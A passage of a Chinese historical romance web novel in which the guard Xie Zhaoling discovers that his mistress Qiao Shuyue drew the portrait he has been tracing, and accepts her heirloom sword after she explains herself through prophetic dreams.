“哟,莫说谢护卫,李护卫的佩剑我瞧着都眼馋。”玉竹抱着乔姝月准备要换的衣裳,畅想着,艳羡道,“那可是夫人特意命西京城有名的工匠打造了一个月才成,咱们府上拢共就五把。” 剩下四把,四位公子一人手里有一把,都分发给了各公子们最信任的护卫。 玉竹酸溜溜地哼了声,“我看就是李护卫占了进院早这便宜才能得着,要是谢护卫也和他同时进院,那把剑落在谁手里还说不定呢。” 她一边说,一边伺候主子更衣。 乔姝月困倦地打了个哈欠,左耳进右耳出。 刘妈妈噗嗤一笑,抬手点了点玉竹的额头,“你平日里不是看不惯谢护卫吗?怎么这会子又向着谢护卫说话了?” 玉竹嘟囔了一句:“我哪有向着谢护卫,我还是不喜欢他。” 乔姝月又捂着嘴打了个哈欠,没什么精神地,幽幽来了一句: “她哪是向着谢护卫说话,她分明是平等地看不惯每一个人,李护卫有,她没有,她就不舒坦了。” 玉竹眼睛微微睁圆,为自己辩驳:“我承认我小性,可我也没有那么小肚鸡肠吧?” “那你说说,你是为何?” “谁让我想看一看李成的剑,他总护得跟个宝贝似得,摸都不让摸,好像我会给他碰坏一样。” 她手上又没带刺,平时也不是毛手毛脚的性子,怎么她摸一下都不行? 玉竹心直口快,一股脑说完,才发现刘妈妈和主子笑意盈盈地看着自己。 刘妈妈笑眯眯地,“剑在谢护卫手里,他就让你摸了?” 玉竹面上一阵不自在,蹲下身子,给主子穿鞋,“……那可不吗,早上我找谢护卫,他二话不说就给我了。” 人与人不对比便罢了,一有了相较的机会,某些人便落了下乘。 玉竹小声道:“谢护卫还提醒我莫要伤到手,告诉我要握着哪里不会被割伤……谢护卫比李护卫,好得不是一星半点。” “唔……那我若是送谢护卫一份特别的礼物,你们都没有,你也不会吃醋吧?” 乔姝月坐到妆奁前,透过铜镜,笑看玉竹。 玉竹手执木梳,愣了下,“什么礼?” 正说着,紫棉抱着一柄剑进了门。 乔姝月挑眉,“来了。” 玉竹定睛观瞧,猛地倒吸了口凉气,“攀云剑?!” 她紧握木梳,愕然失色:“这不是褚将军送姑娘的周岁礼吗?!” 攀云剑乃是百年前某刀匠世家所造传世名剑,在乔姝月外曾祖那一代,由南黎国进贡给大昌,后来当时的君王又赏赐给乔姝月的外曾祖,之后又传了两代人,最终传到乔姝月的大舅舅褚玄英手里。 十年前褚玄英得罪了皇帝,被革了千翎卫副统领的职,以副将之名,随主将西行镇守边陲。 乔姝月降生在褚玄英仕途不顺之时,褚玄英离京时,将自己用了二十年的佩剑送给了乔姝月,只盼她能平安长大。 “这把剑可不是李护卫那个能比的。”玉竹失神喃喃。 就是十个李护卫摞在一块,也不及这一个啊。 刘妈妈面上浮现追忆神色,“当初褚将军对朝局心灰意冷,本想最后再看望一下夫人,不曾想登门那日,姑娘发着高烧,哭闹不停。” “老爷夫人没有待客的心力,将军郁郁寡欢,也不便多留,怕给夫人添麻烦。” “褚将军正要告别,是姑娘拉住了将军的袖子,死死抓着不让人走呢。” 乔姝月微红了脸,嗔道:“这点事年年都要说上一遍,都听腻了。” 刘妈妈笑道:“人老了,就喜欢回忆从前的事,姑娘大人大量,就原谅了老奴吧。” 乔姝月别过头,不好意思地捂了下脸。 玉竹心情复杂,挪开目光,给主子梳发,“听说姑娘一直哭,被褚将军抱起来就咯咯笑起来,把褚将军哄得又哭又笑的,在府上多留了好几日。” 一直在乔府住到出发的日子,将宝剑留给了乔姝月。 刘妈妈颔首,“老爷坚决不肯收下,毕竟这是褚氏一族代代传下来,给武将用的,老爷派小厮抱着宝剑追出去三条街都没赶上人,最后不得已留了下来。” 玉竹酸溜溜地,“这是将军给姑娘的,姑娘为何又取出来?好东西就要放在库房里才行。” 乔姝月一眼看透她的小心眼,“好东西若一直放在库房里落灰,那才是辜负了锻造它的刀匠的一番心血。好啦,你一直喜欢舅舅送我的玉镯子,今儿过节,也送给你好不好?” 玉竹眼前一亮,扭扭捏捏,挣扎一番,还是拒绝了,“姑娘不必顾及奴婢的感受,奴婢也晓得的,宝剑就要给厉害的人用,不然就是废铁一堆。” “玉镯……奴婢虽喜欢,但却不想靠着争风吃醋得来。”玉竹望向窗外,看到角落里那个刻苦的身影,不服气也不行,“这是谢护卫应得的。” 不过主子梳妆就梳妆,为何还要把窗子打开?难不成是监督谢护卫练剑吗? 乔姝月知晓玉竹嘴硬心软,嫉妒心来得快去得也快,“真不要?不要那我给紫棉啦?” 玉竹面色扭曲,咬牙道:“姑娘想给她就给吧,我没事。” 乔姝月捂着嘴笑,“这样吧,你给我梳一个好看的发髻,若是能叫人看呆,我就赏你。” 不是不劳而获就好,玉竹提起精神,兴致勃勃,捻起小姑娘一缕秀发,殷勤道:“姑娘,要让谁看呆啊?是老爷夫人吗?还是几位公子?你放心,我都手到擒来的!” 乔姝月转头看向院中人,看着他一招一式皆力量感十足,每一步都仿佛踏进了她心里。 她捧着脸颊,嘴角噙笑,“让谢护卫看呆就行。” 玉竹一脸恍惚。 半晌,“……啊?” ** 乔家家宴于午时开始,巳时刚过,乔姝月便带着心腹婢女赶往主院。 谢昭凌无事可做,将李成的剑放回屋中,带着自己的短匕出了门。 今日难得有空,他该着手调查自己的事了。 来到乔府三个月,谢昭凌无一日不在惦记画像的人。 过去三月中,但凡能出门,他都不放过追寻线索的机会。 要想厘清真相,首先便从画纸的材料入手。 他初到乔府那段时日,便跑完了全西京的纸铺,发现市面上的纸张大抵分为几类,最差的白纸一百张要六十文,家境一般的寻常学子用的便是这类。而与他手里那份最为接近的,便是质量为次优等的,三文钱一张,是大多数官宦人家所用。① 乔家用的就是这一类。 西京城中用得起这类纸的官宦人家不知几何,若从画纸入手找人,如同大海捞针。 从纸张入手调查失败后,谢昭凌立刻又跑了一趟官府。 他在官府门前与大街小巷穿梭,寻找京城里张贴的各类告示。 纸不行,那就从笔找。 官府发布的寻人告示中,墨的质量并不好。而自己手里的这份,用的是上等的油墨,闻上去还带了股清香。 乔家用的便是这类优质墨,同画纸一样,依旧无法缩小探查的范围。 再看画技。官府的画技生疏,笔触粗糙,而自己手里这份无论是落笔,还是线条,皆流畅自然,寥寥数笔便勾勒成型。 谢昭凌不懂画,说不出更深的玄妙,只觉得自己这份画技极好,断不是公衙里那帮人能画出来的。 查了这两趟,谢昭凌初步得出结论,画师出身不俗,且精于画技。 于是他又在另一个寻常的日子,跑了几家画店。 有一家掌柜问他偏好哪类画作,他不可能给店家看自己的画,所幸寻到一幅与自己手中的相类似的画作,也是人像画。他与店家交流了一番,问到了作者的消息,顺着这条线又往下查了两日,发现作者也并非他要找的人。 他并未气馁,毕竟早就做好了长久追查下去的打算。 他有预感,新的线索就要来了。 这两日他反复在回忆,自己在悦泉楼时都见过什么人。 能这么清楚地画出他的样貌,必定是近处看过他、接触过他的人。 捡到画像那日,正是他进悦泉楼的第三天。 反复搜寻记忆,只记起当日他在悦泉楼外遇到过乔誉,除此之外,他接触的都是在悦泉楼做事的仆从。 谢昭凌记得当时乔誉挡住了一个小姑娘,应当就是小菩萨,或许就是那会她看到他可怜,才会萌生出将他带回来的心思。 这一点也行不通,谢昭凌又有了新办法。 中秋这一日,他利用半日的空闲去了吴氏医馆。 相处几个月,吴大夫大体可以信赖,不过谢昭凌还是有所保留。 他并未提及详情,只是询问有关巫医的问题。 “不知西京城中可有叫得上名号的巫医?” 吴大夫正在配药,听到他的问题,深深皱眉,板着脸问他从哪听来的巫医之事。 谢昭凌没料到吴大夫竟这般不悦,犹豫了下,还是选择如实道来: “晚辈家乡那边巫蛊之术盛行,人人自落生起便与巫医一脉撇不开干系。” 吴大夫冷笑了声,神情厌恶,“自百年前便驱赶出京了,哪儿还有人敢在天子脚下开巫医馆,被发现可是杀头的罪过。” 谢昭凌愣了良久,“那若他们有心遮掩……” “遮掩?怎么遮掩?巫蛊一脉以人试药,他们要想生存下去,就要有一批数目不小的试药人,老夫这几十年还未听说过哪个巫医会来京城。” “你家乡在哪?” 谢昭凌眸光微闪,摇头,“记不清了,很小时便离开,只知在南边。” “哦,南边,那倒对上了。”吴大夫思索道,“听说南黎国的众部落还保留着巫医的势力,你家乡应当离南黎很近吧。” 谢昭凌见吴大夫这打听不出什么消息,便不打算再多叨扰。 谁知他才走到门口,吴大夫忽然将他叫住,脸色有些难看,“你身上那些旧伤,老夫早就想问了,真是这一路北上途中受的吗?” 谢昭凌背对着他,微低着头,没言语。 吴大夫冷哼道:“依老夫的经验来看,不是。你方才说你来自南部,又提起巫医,那老夫便有八成的把握你那伤是如何而来的。” 谢昭凌蓦地攥紧拳头,眼底的情绪顷刻间散去,只剩冰冷。 吴大夫捋了捋小胡子,叹道:“老夫有个忠告……” 他也背过身,继续收拾百子柜。 “数百年前,确实有不少名巫医,谈不上妙手回春,但起码是以医治为底线,并不会害人。但这百年以来……” “若你曾为试药人,那老夫要对你说,如今所谓的“巫医之术”,大多都是糊弄人的,这是统治者的手段,以行医之名,行龌龊之事,骗骗穷乡僻壤的无知百姓便罢了,既然已经离开了那里,就不必再将巫医的话奉为圭臬。” “若你不是,那就当老夫在说梦话,只需记住一句话——中医之理,才是正统。” 谢昭凌茫然地望着前方的路,颤抖着吸了口气,轻声问道: “人血可以入药,大巫医赐福,万里挑一的巫子之血肉可治百病,也都是假的吗?” 咣当——! 吴大夫一激动把药盒子摔了。 他蓦地回头,半点儒雅之气都没了,气得破口大骂: “这是哪来的狗屁道理?!还赐福?还巫子?!志怪话本看多了吧!” “你说的那个什么巫子我听都没听过,我只知道巫医一脉那帮人个个都是畜生,比江湖上招摇撞骗的骗子还不如!” 吴大夫抖着手指,哆哆嗦嗦指着门口的少年。 “我告诉你小子,少信那些怪力乱神没有边际的胡话,哈,你不会真信了吧?老夫还当你多伶俐,结果也是个蠢的。” “怪不得断了腿都敢自己上手,你们这些愚昧之人,活该残废!” “哎!你别走啊!老夫还没说完——” 谢昭凌一口气跑回乔府。 和正准备出府赚银子的魏二撞个满怀。 魏二一见他,顿时满面笑意,正欲搭几句话,结果少年别过脸去,理都不理,急匆匆便往府中去。 魏二呆呆望着少年背影,摸了摸脑袋,暗自反省或许是近来太忙,都生分了,等得空了,还得好好维系一下关系。 谢昭凌埋头往里走,一路上经过了许多人,他都无心顾及,或许还遇到了哪个院的主子,他也没停下行礼。 他不常去回想过去体无完肤的那些年。 此刻心里乱成一团,脑海里那些记忆碎片边缘锋利,每一块都如一条刀片,稍加思索,那些回忆便用力从他骨骼中划过,割断了他的骨头,让他整个人由里到外皮开肉绽,鲜血淋漓。 他不是吴大夫口中的试药人,因为巫医眼中,他本身就是一味药,不需要再多加调和,多此一举。 他就是最纯粹的“巫子”。 且不论这一趟收获如何,关于画像一事,他已没了心绪再去思索。 今日便到此为止吧。 谢昭凌浑浑噩噩回到木兰院,才走到院子门口,便听院中吵吵闹闹的。 原来已经是下午了吗。 谢昭凌手扶着外墙,阖起双眸,静静调息。 院子里乔姝月正叫嚷着: “哎呦小心点!弄坏了三哥可是要打死我的!” 刘妈妈笑道:“这么金贵?那姑娘你不该带回来啊,就在老爷书房或是大公子那里拆开来看,叫他们动手,真弄坏了也赖不到姑娘身上。” “那可不行,我是要带回来好好欣赏的,搁在父亲或是大哥那里多不方便,又不是他们找三哥借的,回头真出岔子,三哥还是要找我算账。” “三公子已经回国子监去了?他还挺放心把这名画搁在木兰院。” 乔姝月不高兴道:“哪儿是他放心啊,他可不乐意了,我足足磨他半个月,日日给他写信,都把他夸出花了,他再不松口,我就真没词了。” “四公子这下跟着我们姑娘沾光了,老婆子我是不懂,不过看我们姑娘这激动劲儿,想来这画来历不得了。” 乔誉一双眼睛黏在画上,一眼都舍不得挪,手遮着唇,说话声都小了许多,生怕呼出的气体有损画作。 “是前朝大师之作,画者有画圣之称,被数十翰林追捧为旷世奇作。” 刘妈妈吃了一惊,“这么厉害?我瞧瞧……这真瞧不出,只觉得处处都好看。” 谢昭凌听到“画作”二字,立刻睁开双眸。 他又听了会议论,心底有了思量。 “谢护卫?” 紫棉捧着中秋给大家发放的节礼,停在他身边,疑惑地叫他一声。 乔姝月耳朵尖,立刻便听到他的名字,画也不看了,拎着小裙子就往外跑。 她疾步如飞,看得乔誉心头突突直跳,张开双臂护在画作周围,生怕被她带倒,掉在地上,沾了灰尘。 小姑娘冲到少年面前,一个急停。 “阿——咳,谢护卫!站在此处作甚?” 谢昭凌已收敛多余的情绪,垂眸看着她,“去买了你喜欢吃的糕点。” 他抬手晃了晃手里的东西。 乔姝月眼前一亮,莞尔一笑,露出两颗尖尖的犬牙。 “是节礼吗?” 真好,不光她记着他,他也惦记着她呢。 “嗯。” “嘿嘿,那我就收下了,你放心,我全都自己吃,绝对不让旁人吃一口。” 不远处的玉竹幽怨地说道:“姑娘与谢护卫真是心意相通啊。” 让人羡慕嫉妒得眼睛都红了。 “心意相通?”乔姝月品着四个字,高兴得忘乎所以,“玉竹会说话,赏!” 这下玉竹也满意了,帮紫棉一起去发放节礼。 “刘妈妈,你盯着点四哥,别让他把我画带走。” 乔誉:“……” 刘妈妈笑着应好。 乔姝月冲谢昭凌招手,带着他去到角落里说悄悄话。 “阿凌哥哥,你哪儿来的银子?怎么还有余钱给我买吃的?” 小姑娘双目闪亮,一脸纯良无害地望着他。 谢昭凌:“……” 他无奈地牵动唇角,从怀中掏出剩余碎银,“主子,孝敬您的。” 乔姝月抬手推他的手掌,假意推脱,“哎,这怎么好意思啊?” 谢昭凌弯唇笑着,作势往回放,“那我收——” 小姑娘瞪圆眼睛,又赶忙按住他手腕,“就不跟你客气啦,帮你存下,省得你乱花。” “给姑娘花钱,怎算乱花。” 少年轻描淡写一句话,又甜到了乔姝月心尖尖上。 她抿着唇笑个不停,“三两三钱,进账。” 她随身携带着抢来的钱袋,背过身去,鬼鬼祟祟地把刚抢来的放了进去。 算起来,也有十两六钱了。 这才三个月就攒了十两,那五十两……乔姝月叹了口气。 她以为背过身去数钱,他就不知道自己“孝敬”过多少银子,他眼中噙笑,看着她又将钱袋塞进怀里,没忍住轻笑出声,“姑娘,你帮我存多少了?” “有事吗?”她回头,警惕地看着他,“存就存着,别问。” “我不清楚,总得知道距离还清欠款还有多少。” “你真不清楚?” “嗯,不清楚。” 小姑娘下巴一抬,“那你别管了,我心里有数就行。” “到底多少,总有个数吧?” 乔姝月见他不依不饶,抬手推他,“烦不烦,就五两银子问这问那的。” “五两啊……” 谢昭凌被一双小手推远,若有所思。 那不对,加上第一次没收的二两银子,也就一共五两多。 可她怎么可能说实话? 肯定不止五两,那多余的银子她又打哪来的? 谢昭凌似笑非笑,审视地打量她。 乔姝月断不可能同他说起自己还敲诈了二哥一笔,干脆紧闭嘴巴,任他如何看都不再开口。 刘妈妈这时走近,“四公子走了,画要收到哪里?” 乔姝月忙道:“放屋里,我等下还要看。” 画! 见她要走,谢昭凌一把抓住她的胳膊。 乔姝月诧异抬眸。 被她看着,谢昭凌也不似从前那般不自在,他眸子漆黑,“是什么?我可以看吗?” “当然啦,走!” 小姑娘反手抓住他的手掌,一起往屋里去。 两人在屋中研究画作,一直到天黑用晚膳。 谢昭凌从房中退出来,正欲去吃饭,迎面遇到紫棉抱着一把剑朝他走来。 紫棉话少,将东西交到他手里,只道这是主子给他的节礼便走了。 谢昭凌握着那把精美的宝剑,久久不能回神。 攀云剑形如其名,剑鞘上的花纹如行云,如流水,花纹繁复精致,美妙绝伦,触感极妙,一摸就知是千锤百炼才得来的名剑。 谢昭凌饭也不吃了,坐在房中,捧着宝剑,一看就是一晚上。 至夜晚,李成回来。 他休了半日假,下午回来便忙得脚不沾地。 “被二公子抓壮丁,累死了。”李成一回来就往榻上倒,“你说他们院里十几个护卫,都不够折腾的。” 二公子不知又抽什么风,读书不成,又嚷嚷着习武。 从乔府南边开辟出一片空地,打造了一个练武场。 李成唠唠叨叨说了半晌,口有些渴,爬起来倒水。 他进门时没注意,以为谢昭凌在榻上躺着,一翻身起来,才见着桌前坐着个孤影。 他吓了一跳,摸黑走过去,把灯点亮。 看清少年的表情,李成缓缓张大了嘴。 众人眼中的谢护卫,大多时候都是冷淡的,不屑与人交往,独来独往,像一头孤狼。 他最初来到府上,对谁都充满敌意,哪怕后来相处久了,他的进攻性不再那么强,可一看便知心头上竖着一堵高高的墙,难以逾越。 李成一直对少年有些惧怕,尤其是被踹了一脚以后,他更不敢同他套近乎。 可此刻却在少年眼中看到了陌生的情绪。 是李成做梦都不敢想,觉得这辈子都不会出现在少年身上的情绪。 ——温柔? 李成又看了会,暗自笃定,就是温柔。 就像画中的那个人。 看什么呢? 李成低头看去。 这一眼直接叫他惊呼出声,“这不是攀云剑吗?!” 虽然姑娘降生时他还没来乔府,但托刘妈妈的福,每年都要说上几遍那段过往,李成听多了,自然就知道这把剑的来历。 李成见谢昭凌满眼疑惑,便坐了下来,同他解释起来源。 半晌,说完。 少年眼中的情愫更盛。 “姑娘竟将攀云剑送给你了。”李成艳羡地感叹,“姑娘这般重视、喜欢你,我也想……” ——“喜欢你”。 谢昭凌红着耳朵,抿唇笑了。 小菩萨拿走他攒的银子,无外乎就是不想让他走。 她说过,害怕他离开。 她还说过,会让他心甘情愿地留在她身边。 谢昭凌手轻轻拂过剑鞘,觉得那一刻或许已然到来。 从未有人对他这般好。 她救下自己,无关利用,无关诡计。给他提供遮风挡雨的庇护之所,免于被人欺凌与漂泊之苦,让他有了光明正大存活于这世间的身份,让他和寻常人一样入学堂读书习字,还送他这么名贵的宝剑。 谢昭凌一直很想要一把属于自己的剑,就像李成一样。 他来这里的第一日就注意了李成的剑,不敢同人说,因为他知道自己不配拥有。 他悄悄觊觎,只他自己知道。 现在属于他的宝剑就躺在他的掌心。 大抵这辈子也不会再有这么在意他的人了。 此时此刻,他已心甘情愿为她驻足。 谢昭凌抬手按住剧烈跳动的心脏。 这种感觉近来总有,一想到她,心跳就会加速。 却从未有一刻如此刻这般,清晰地能感知到,他有了想要留在她身边的欲望。 很强烈的欲望。 谢昭凌缓缓吐出一口气。 抬起头,对上李成呆滞的目光。 他心情极好,把剑往前送了送,“怎么?你想要看看吗?” 李成缓了缓神,惊喜过望,“多谢!” 他小心翼翼地接过宝剑,一边欣赏,一边感叹。 谢昭凌起身灌一壶热水,沏了两杯茶。 他背对着李成,嘴角还噙着温和的笑意。 “我刚刚看你看得出神了,你或许不知,其实我对你最初的印象就是方才那般。” 谢昭凌想到宝剑,笑了声,“哪般?” “看着剑的时候,那种温柔、温和的模样。” “温柔?” 李成小心翼翼拔剑,点头道:“姑娘早早给过我一张画像,让我去探查你的情况,我那时混进了悦泉楼的后院,看到你正被人为难。” 谢昭凌蓦地怔住,他顿住,手中的茶壶慢慢放下。 李成无知无觉,又道:“可惜后来那画像被风吹走,不慎遗失,不然你照一下镜子就能发现,同画上的你一模一样。” “……” 房中忽然陷入一片死寂。 半晌,没听到动静,李成心头生出不安。 他望着那道僵住的背影,试探道:“小谢兄弟?” “……” 他一直寻找的暗中人,竟然是……是她吗? 脑海中忽然又出现逃亡路上,那些差役,那些乡绅的模样。 他们拿着他的画像,按住他的脖子,上下打量,又满意地狞笑着,将枷锁套在他的腕间。 ——“小心些,别割破了。” ——“嗐,破了就用碗接着嘛,不会浪费的。” 画像。 走到哪儿都摆不脱的画像。 只要有那画像,他无论逃到何处,都逃不出割腕放血的命运。 攥紧的拳头死死抵在桌上,压得他指骨通红,五指之痛钻心入骨,一时竟分不清到底是手伤还是心伤所致。 他目光阴沉,如夜晚幽深不见底的湖水。 拼命压抑克制着情绪,整个人绷紧如一张弓,浑身的力量蓄势待发。 再转过身,声音竟全哑了。 “什么画像。” 第44章 【44】 早上李成醒来,揉揉眼睛坐起身,被对面那道孤零零的人影吓得心脏骤歇。 “小谢兄弟,”李成讪讪挠头,“醒得早啊?” 昨晚上他说完那句话,屋中气氛顿时压抑得让人喘不过气。 他一头雾水地交代完,少年便如一座石雕,毫无声息地静立在那。 后来李成实在撑不住,倒头睡下,那之前,少年便一动不动地坐在桌前,和此刻是一个姿势。 李成诧异:“你不会一夜没睡吧?” 谢昭凌这才慢慢抬头,看了他一眼。 眸中布满血丝,目光里暗暗藏着锋利的光刃,眼底微微泛着青色,他脸色很难看,风雨欲来,周身都散发着阴郁的气息。 李成不敢与之对视。 谢昭凌很快挪开视线。 李成没敢再在屋里弄出动静,悄悄起身,出了门去,连挂在床头的佩剑都没敢拿。 ** 中秋放了一日假,转日还是要上学。 谢昭凌称病请了假,同刘妈妈说了一声,让李成背着人去上学。 谢昭凌浑浑噩噩躺回到榻上,煎熬了一宿的大脑在此刻无比清明。 午时,散学。 乔姝月催着李成赶紧回去。 她的脚伤已经好了些,自己走路只要慢一些便无妨。可她心里焦急,恨不得立马飞回木兰院,飞到他身边去。 玉竹纳闷:“昨日见还好好的,怎么今儿就起不来床了?” 昨天还在院里练了两个时辰的剑,力气多得像头不知疲倦的牛。 乔姝月也不知,问李成:“怎么忽然就病了?昨晚上他去做什么了?” 李成心中惴惴不安,犹豫了下,如实禀报。 乔姝月惊呼道:“那画像竟被他捡走?!” 这实在出乎意料。 不好。 以谢昭凌那般敏锐又多疑的性子,他必定会多想。 还记得刚遇见时,他看谁都带着敌意,眼中是化不开的警惕,她费了好一番功夫才让他卸下心防。这一回若处理不好,只怕他们之间难有转圜的余地。 李成担忧道:“他似乎一夜未睡,我瞧他脸色很是不好。” 乔姝月拧着眉,在心中飞快地思索对策。 回到木兰院,西厢房的门竟敞着。 刘妈妈站在门口,向里张望,听到动静,转身看过来。 还未到近前,刘妈妈便迎了过来,满脸的焦急未来得及掩下,刘妈妈强装镇定,“姑娘回来了,饿了吧?我叫小厨房给您弄吃的。” 乔姝月往西厢看了一眼,“他在吗?” 刘妈妈叹了口气:“在是在,只不过和吴大夫吵起来了。” 就在乔姝月他们刚出发去学堂时,吴大夫便拎着药箱来到了木兰院,说是要给谢昭凌看诊。 刘妈妈狐疑地引着吴大夫往里走,嘴里说着客套的话。心里却在琢磨,谢昭凌告假不假,但吴大夫又是如何知晓的? “我原以为吴大夫心血来潮来看看,正赶上谢护卫生病,这不是巧了吗?可方才吴大夫一进门,谢护卫脸色便更差了,我听不懂他们在吵什么,只隐约猜着,吴大夫是挂念谢护卫那一身旧伤才来的。” “旧伤……” 提起这二字,乔姝月心里就拧着疼。她从李成背后下来,慢慢走到门口,手扶着门框,听那二人的争论。 确切地说,是吴大夫一人在吵。 “你给老夫看看,听到没有!你把手撒开!” 少年默不作声,神情执拗,眉眼间皆是冷色,看人的眼神似覆了一层寒霜。 乔姝月看到他抓着吴大夫的手,让吴大夫动弹不得,在察觉到她出现那一刻,便立刻望了过来。 似乎是愣住,而后便垂下目光,躲开了她的目光。 乔姝月心缓缓下沉,深吸了口气,迈步进门。 “吴大夫,让我劝劝他吧。” 吴大夫脸色阴沉,横眉竖眼,猛地抽回自己的手腕,他看着红肿了一片的手腕,忍了忍,终究没当着小姑娘的面骂出声。 他忍着脾气,语气不算和善:“你既是他的主子,便要好生管教,他那伤——” 吴大夫咬咬牙,怕吓着小姑娘,只得吞下了几句吓人的话,“不要讳疾忌医,我又不会害他。” 谢昭凌眼皮一跳,冷嗤了声,转身朝屋中走。 “这臭小子!” 吴大夫抄起药箱就要冲过去。 最后还是刘妈妈和李护卫一左一右将吴大夫架了出去。 房门关闭,只余二人。 乔姝月望着少年的背影,沉默半晌,慢慢走上前,扶着桌子坐下。 “阿凌哥——” “月姑娘有何吩咐?” 少年恭敬地弯下身,疏离客气地唤她。 乔姝月神情哀伤,心底很不是滋味。 他冷冷淡淡的,他们之间仿佛一朝回到从前。 乔姝月不放心道:“吴大夫为何会来?你身上的旧伤很严重吗?” 答案她其实知晓,那些旧伤不管是从肢体上,还是精神上,都给他带来过不可磨灭的伤害。 陛下很在意她如何看他,所以从不在她面前示弱,对于这些不可改变的过去,他只得将曾经那个弱小的自己深深藏起来,不让她发现。 疤痕在将士的身上是荣誉。 但在陛下的眼中,他视之为耻辱。 前世的陛下总在回避的问题,今生的谢昭凌会坦然地面对吗? 谢昭凌轻描淡写,“不是什么要紧事,不劳姑娘挂心。” 乔姝月慌乱无措,不知该如何面对这么冷漠的他。 “我,我对你没有坏心,那个画像,我——” 谢昭凌倏地站起身,垂在身侧的双拳紧攥,他克制着,隐忍道:“姑娘若无吩咐,便请回吧。” 哪怕是来乔府的第一夜,她跑到他的房中,也没听过这种逐客令。 小姑娘顿时红了眼圈。 她茫然站起来,看了看门,又看了看他。 她深知,若是轻易踏出这道门,往后再想靠近,就是不可能的事了。 乔姝月咬咬牙,勇敢地朝他走了两步,如初见那时一样,一把拽住他的袖子。 她眼睛里含着水雾,仰起头,“你不愿听我也要解释,我说过不喜欢误会过夜的。” “我能做预知梦,这你知道的,这是只属于我们两个人的秘密。悦泉楼外那一面的确不是我们的初见,”她将不可提之事尽数隐去,换了个能让人接受的说法,“我在梦中见过你,因一些缘由,我必须要将你救下。” “什么缘由。” 那自然是爱你呀。 乔姝月犹豫了下,摇头,“这……暂时还不可以告诉你。” 谢昭凌“嗯”了声,没再追问,他垂眸看向被人抓着的那只手,到底没将衣角抽回。 他不反抗,就是愿意听她的解释! 乔姝月心底燃起一丝希望,激动得眼睛里强忍的一行泪扑簌簌滚落下来。 谢昭凌愣了下,眉头微微蹙起,他迟疑片刻,抬手握住她的手,扶着她坐下,自己则站着。 乔姝月抬手抹了一把眼泪,也不管有用无用,将心里话一股脑全都往外倒。 “我不知道你心里是如何想我的,可我要同你讲清楚,因为看到了一些未来,所以务必救下你,将你带回来好生照顾。” 她低下头,闷闷不乐:“或许你会觉得我所说并不可信,觉得我虚伪,觉得我在骗你……可我对你保证,我对你没有任何不轨之心。” 两人之间,一向都是只要她说,他就相信。 可是此事在他心里实在重大,他没办法忽视。 谢昭凌转身走到窗边,将窗子打开,手撑着边缘,低头思索。 发现那张画像,他首先想到的只有“敌人”这一个可能,在得知是她那一刻,他一直以来的从容与冷静全都坍塌溃败。 若是旁人,再穷凶极恶的敌人他都无所畏惧。 可若是她…… 他无法欺骗自己。 他不愿与她为敌。 如今她的解释看似毫无漏洞,叫他的怀疑减弱许多。 然而本能在作祟,身体里藏着一只谁都不信任的猛兽,在他耳边怒吼——她说什么你就信吗?当初你的养母也曾温柔待你,可后来呢? 伪善面,温柔刀。 她可信吗? 他真的能信吗? “阿凌哥哥,我若有一句假话,就——” “姑娘。” 少年嗓音低哑,打断了她的毒誓。 他手扶着窗牖,回过头,眼中的犹豫与挣扎都坦露在她面前。 “月姑娘,你再多说几句吧。” 他轻声恳求。 再多说几句,他就不再动摇。 乔姝月蜷着一条腿,一蹦一跳到他面前,扶着他胳膊站稳,目光坚定。 “那我告诉你,预知梦里乔家会遭大难,我不想让灾祸发生,所以想尽办法想阻止那样的未来,二哥的事便是最初乔家迈向深渊的第一步。” “事关家族生死存亡,我没有告诉父母,没有告诉众兄长,没有告诉跟了我十年的贴身婢女,只告诉了你。” “梦里的你很厉害,没有你解决不了的事。人也很好,会帮乔家。” “我怎么能错过你这般厉害的人物?必然要在你微末之时便伸出援手,让你站在我这一边。” 乔姝月想起刘妈妈曾说过的话,她说谢昭凌不轻易相信旁人的善意。 陛下擅权衡利弊,总是下意识以恶度人,哪怕她曾经劝过他许多次,他也难改掉这个习惯。 她此刻无法对他动之以情,便只能说些会令他觉得安心的话。 “我为你做的一切事,皆有目的,你理解为利用也好,认为我自私也罢,我觉得自己没有做过坏事。你如今生活得很好是事实,对吗?” “我虽想让你帮我,但……未曾强迫过你。”乔姝月哽咽了声,情不自禁,第二次扑进他的怀中,她双手圈着他的腰,头埋在他腹上喃喃,“你一直都有离开的权利,我不拘着你。你可以拒绝与我合谋,即便你不选择在这条路上继续下去,我也……我也不会说什么的。” 谢昭凌手撑在窗边,没有碰她,头偏向一旁,默默平息内心翻滚的情绪。 她心口如一,说得皆为事实,他无从反驳。 选择权一直都在他这里,是他心中生出贪念,竟然心甘情愿想留在她身边。 她说的话若是放在从前,都是他最喜欢听的。 两者之间,无关情分,只谈利用。就像郑丰南那样,令他踏实,安全感十足。 小菩萨真了解他,知道他对什么样的理由无法抵抗,知道说什么能留下他。 然而…… 他竟生出些许不甘。 并非不甘被她利用,而是不甘于,她竟真的只是因为利用才救的他。 还不如把他当做一只猫儿狗儿,当做街巷里那个被人欺凌的小童。 他可以做郑丰南的刀,却不甘愿只做她的剑。 “阿凌哥哥,你说句话嘛。” 小姑娘趴在他身前,一双清泠澄澈的眼眸专注地望着他。 叫他哥哥,那他也该有点为人兄长的样子。 谢昭凌微微低头,将人从自己身上拉下去。 乔姝月站稳,眨了眨酸涩的眼睛,看着他默不作声,从怀中掏出一张纸来。 待他将纸张展开,乔姝月瞪大了眼睛,“……这画像你还留着?” “嗯,我找了作画者三个月。” 乔姝月心虚地低下头。 谢昭凌睨着她,淡声询问:“这当真是你亲手所画?” 乔姝月扒拉下他的手,仔细看了一遍,“嗯,是我。” “好。” 谢昭凌将画纸折好,塞回怀里。 乔姝月看不懂了。 好什么?他还留着做什么? 她张了口,正欲追问,却见少年扫她一眼,一言不发,越过她回到桌边。 他拿起那把攀云剑,转过身来,“这把剑,太过贵重。” 这是何意?一副要归还给她的样子,下一句难不成是“我身卑贱,不配拥有”? 不要啊! 乔姝月心头猛地一跳,慌张地奔向他,她向前伸手,想要将他递过来的剑推回。 谁料他只是单手拿着剑,挽了一个漂亮的剑花,而后飞快地将剑换到另外一只手上。 小姑娘扑了个空。 谢昭凌一手接住她摇晃的身子,另一手掂了掂剑的分量。 他低头浅笑,温柔了声音: “我以后,都用这把剑保护你。” 第45章 【45】 以后……都用这把剑? 以后的意思是…… 乔姝月眨了眨眼,唇角不可抑制地往上弯。 “嗯!要保护好我啊!” 两人和好如初,谢昭凌将乔姝月一路送回房间。 由于今日谢昭凌缺了一堂课,乔姝月便又有了借口将人拐到房里上“私塾”。 